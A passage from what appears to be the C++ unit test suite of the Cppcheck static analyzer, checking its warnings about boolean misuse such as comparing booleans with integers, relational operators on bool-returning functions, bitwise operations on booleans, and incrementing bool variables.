ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt1() {\n check(\"void f(int x) {\\n\"\n \" if ((x && 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x && 0x0f)==0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x || 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x || 0x0f)==0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x & 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x | 0x0f)==6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)==3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)==3 || (8 && x)==9)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\"\n \"[test.cpp:2:32]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", // duplicate\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x)!=3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) < 0)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((5 && x) > 1)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if (0 < (5 && x))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (0 > (5 && x))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > (5 && x))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 < (5 && x))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x > false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false < x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x < false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false > x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x >= false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false >= x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( x <= false )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(bool x ) {\\n\"\n \" if ( false <= x )\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"typedef int (*func)(bool invert);\\n\"\n \"void x(int, func f);\\n\"\n \"void foo(int error) {\\n\"\n \" if (error == ABC) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !a+b1){} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (a != !b || c) {} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (1 < !!a + !!b + !!c) {} }\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"void f(int a, int b, int c) { if (1 < !(a+b)) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Comparison of a boolean expression with an integer. [compareBoolExpressionWithInt]\\n\",errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt3() {\n check(\"int f(int x) {\\n\"\n \" return t<0>() && x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolExpressionWithInt4() {\n // #5016\n check(\"void f() {\\n\"\n \" for(int i = 4; i > -1 < 5 ; --i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return (a > b) < c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return x(a > b) < c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return a > b == c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // templates\n check(\"struct Tokenizer { TokenList list; };\\n\"\n \"void Tokenizer::f() {\\n\"\n \" std::list locationList;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5063 - or\n check(\"void f() {\\n\"\n \" return a > b or c < d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" return (a < b) != 0U;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int f() {\\n\"\n \" return (a < b) != 0x0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int f() {\\n\"\n \" return (a < b) != 42U;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool1() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool2() {\n check(\"void leftOfComparison(){\\n\"\n \" int temp = 4;\\n\"\n \" bool a = true;\\n\"\n \" if(compare(temp) > a){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void rightOfComparison(){\\n\"\n \" int temp = 4;\\n\"\n \" bool a = true;\\n\"\n \" if(a < compare(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\"\n \"[test.cpp:11:7]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool3() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare(temp) > temp){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare(int temp);\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\"\n \"[test.cpp:3:12]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool4() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" bool b = compare2(6);\\n\"\n \" if(compare1(temp)> b){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp == 5){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool5() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > !compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool6() {\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \"}\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \"}\\n\"\n \"int compare1(int temp);\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \" void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:20]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \" void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(::compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool compare1(int temp);\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(foo.compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool7() { // #7197\n check(\"struct C {\\n\"\n \" bool isEmpty();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c1, c2;\\n\"\n \" if ((c1.isEmpty()) < (c2.isEmpty())) {}\\n\"\n \" if (!c1.isEmpty() < !!c2.isEmpty()) {}\\n\"\n \" if ((int)c1.isEmpty() < (int)c2.isEmpty()) {}\\n\"\n \" if (static_cast(c1.isEmpty()) < static_cast(c2.isEmpty())) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:20]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:7:20]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:8:24]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:9:36]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\",\n errout_str());\n }\n\n void checkComparisonOfFuncReturningBool8() { // #4103\n // op: >\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b > a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: <\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b < a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: >=\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b >= a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: <=\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b <= a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBoolIntegrationTest1() { // #7798\n check(\"bool eval(double *) { return false; }\\n\"\n \"double eval(char *) { return 1.0; }\\n\"\n \"int main(int argc, char *argv[])\\n\"\n \"{\\n\"\n \" if ( eval(argv[1]) > eval(argv[2]) )\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonOfBoolWithBool() {\n const char code[] = \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" bool b = compare2(6);\\n\"\n \" bool a = compare1(4);\\n\"\n \" if(b > a){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp == 5){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\";\n check(code);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n }\n\n void bitwiseOnBoolean() { // 3062\n check(\"void f(_Bool a, _Bool b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(_Bool a, _Bool b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a & !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a | !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a & !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a | !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, int b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, bool b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if((a > 0) & (b < 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style, inconclusive) Boolean expression 'a>0' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, int b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, bool b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"int f(bool a, int b) {\\n\"\n \" return a | b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, int b) {\\n\"\n \" return a | b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" foo(bar, &b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #9405\n \" class C { void foo(bool &b) {} };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"bool g() {\\n\"\n \" return f() | f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint8 outcode(float p) {\\n\"\n \" float d = 0.;\\n\"\n \" return ((p - xm >= d) << 1) | (x - p > d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\" // #10655\n \"void f(bool b) {\\n\"\n \" if (g() | b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(bool b) {\\n\"\n \" if (b | g()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"bool f(bool b, bool c) {\\n\"\n \" return b | g() | c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style, inconclusive) Boolean expression 'c' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #4233\n \" bool b = true, c = false;\\n\"\n \" b &= i;\\n\"\n \" c |= i;\\n\"\n \" if (b || c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. [bitwiseOnBoolean]\\n\"\n \"[test.cpp:4:7]: (style, inconclusive) Boolean expression 'c' is used in bitwise operation. [bitwiseOnBoolean]\\n\",\n errout_str());\n\n check(\"void f(int i, int j, bool b) {\\n\"\n \" i &= b;\\n\"\n \" j |= b;\\n\"\n \" if (b || c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool b, int i) {\\n\"\n \" b &= (i == 5);\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { bool b{}; };\\n\" // #12455\n \"void f(const std::unordered_map m) {\\n\"\n \" for (const auto& e : m) {\\n\"\n \" S s;\\n\"\n \" s.b |= e.second.b;\\n\"\n \" (void)s.b;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incrementBoolean() {\n check(\"bool bValue = true;\\n\"\n \"void f() { bValue++; }\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool test){\\n\"\n \" test++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool* test){\\n\"\n \" (*test)++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool* test){\\n\"\n \" test[0]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(int test){\\n\"\n \" test++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt1() {\n check(\"void f(bool x) {\\n\"\n \" if (x < 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (10 >= x) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x != 0) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\" // #3356\n \" if (x == 1) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x != 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x == 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x == 0) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"DensePropertyMap visited;\"); // #4075\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt2() {\n check(\"void f(bool x, int y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, bool y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n 